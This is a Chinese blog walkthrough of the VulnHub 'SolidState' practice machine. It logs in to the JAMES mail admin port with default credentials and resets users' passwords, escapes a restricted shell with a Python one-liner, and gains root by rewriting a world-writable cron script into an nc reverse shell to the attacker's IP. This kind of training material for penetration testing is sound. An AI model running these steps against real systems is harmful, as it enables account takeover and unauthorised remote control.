【oscp】SolidState,计划任务提权
靶场地址:https://www.vulnhub.com/entry/solidstate-1,261/
发布日期:2018年9月12日
目标:得到root权限&找到flag.txt
主机探测,端口扫描
一些端口介绍:
(22,80忽略)
25 端口:SMTP服务,用于发送电子邮件的协议
110 端口:pop3是用于接收电子邮件的协议
119 端口:是用于传输和读取Usernet新闻组文章的协议。
4445 端口:是 JAMES 邮件服务器的远程管理接口,允许管理员通过命令行或Web界面管理邮件服务器的配置,包括用户管理、域名管理、邮件箱管理等。
访问网页
目录扫描
这里是需要用到一个命令,来连接邮件服务器,指定好端口4555,然后使用弱口令root / root 进行登录,再使用help查看命令帮助
telnet 是一个用于远程登录和管理服务器的网络协议和命令行工具。它允许用户通过网络连接到远程主机,并在该主机上执行命令。telnet 通常使用端口 23 进行通信,但也可以指定其他端口。
listusers
用于显示现有的账户信息,但是我们不知道密码信息,就无法登录pop3邮件服务器,查看电子邮件内容
user: james
user: thomas
user: john
user: mindy
user: mailadmin
设置(重置)密码
setpassword james 123
setpassword thomas 123
setpassword john 123
setpassword mindy 123
setpassword mailadmin 123
登录我们的pop3服务器,用户james
的邮件信息
同理其他用户都这样查看,下面是john的邮件内容
下面是mindy用户的第二封邮件
翻译一下看看,这个就是 mindy 用户的ssh密码了
username: mindy
pass: P@55W0rd1!2@
ssh登录后,但是发现系统对这个用户做出了命令执行的一些限制
当前目录下有一个user.txt,包含了一个hash值,
使用hash-identifier
hash识别工具,识别这个加密的类型,但是没有识别到
尝试逃逸shell,其他详细的逃逸过程可以参考我这篇文章
https://mp.weixin.qq.com/s/YS3lNhIE5V5kFlBLxS49xA
这里的逃逸是要用到 python
ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn("/bin/bash")'"
信息收集
uname -a
cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替
查看计划任务
cat /etc/crontab
查看文件权限为777的文件信息,不是root用户也能修改并执行文件,那如果这是个root用户设置的一个定时程序呢?
查看py脚本内容
看看nc 有没有-e参数,结果是有的
nc 中的 -e 参数在 Netcat (nc) 中用于指定一个程序,使得 Netcat 在建立连接后执行该程序,并将 Netcat 的标准输入、输出和错误重定向到该程序。这个参数通常用于创建反向shell或监听shell。
那么py脚本的内容就如下,来反弹shell
#!/usr/bin/env python
import os
import sys
try:
os.system('nc 192.168.209.130 6666 -e /bin/bash')
except:
sys.exit()
注意:如果重定向了,过了一会儿没有反弹成功,要么重新连接一次,就像这样
这下就能反弹成功了,找到root.txt文件
如果直接执行py文件的话,是以当前用户执行的,例如
可以看到当前用户为 mindy
往期推荐
红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学
【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了
从零开始学SQL注入(sql十大注入类型):技术解析与实战演练
本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
暂无评论内容